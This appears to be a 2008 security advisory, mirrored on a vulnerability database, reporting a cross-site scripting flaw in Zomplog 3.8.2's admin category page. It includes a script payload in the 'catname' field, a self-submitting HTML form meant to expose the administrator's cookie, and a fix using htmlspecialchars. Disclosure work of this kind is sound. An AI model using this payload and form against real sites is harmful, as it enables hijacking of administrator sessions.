Lucene search

K
securityvulnsSecurityvulnsSECURITYVULNS:DOC:19768
HistoryMay 02, 2008 - 12:00 a.m.

Zomplog 3.8.2 XSS Vulnerability

2008-05-0200:00:00
vulners.com
27

Script : Zomplog 3.8.2
Type : XSS Vulnerability

Discovered by : Khashayar Fereidani Or Dr.Crash
Our Team : IRCRASH

Our Site : Http://IRCRASH.COM
IRCRASH Bugtraq : Http://BUGTRAQ.IRCRASH.COM

IRCRASH Team Members : Dr.Crash Or Khashayar Fereidani - Hadi Kiamarsi - Malc0de - R3d.w0rm - Rasool Nasr

Script Download : http://www.zomp.nl/user-content/downloads/zomplog/zomplog-3.8.2.tar.gz

URL : http://example/zomplog/admin/category.php
Xss Method : Post
variable : catname
Query For Send : " [XSS CODE]
Example : Send With Post : " <script>alert(document.cookie)</script>
And Set addcat variable "Submit" …

If Administrator User Open This File Administrator Cookie Show In Page …
HTML PAGE FOR GET ADMIN COOKIE :
<html>
<head></head>
<body onLoad=javascript:document.form.submit()>

<form action="http://example/zomplog/admin/category.php&quot;

method="POST" name="form">

<input type="hidden" name="catname" value="" <script>alert(document.cookie)</script>">
<input type="hidden" name="addcat" value="Submit">

</form>
</body>
</html>

Solution : Edit Source Code And Filter Catname Variable With htmlspecialchar() function …

TNx : God…
Khashayar Fereidani Email : irancrash[at]gmail[dot]com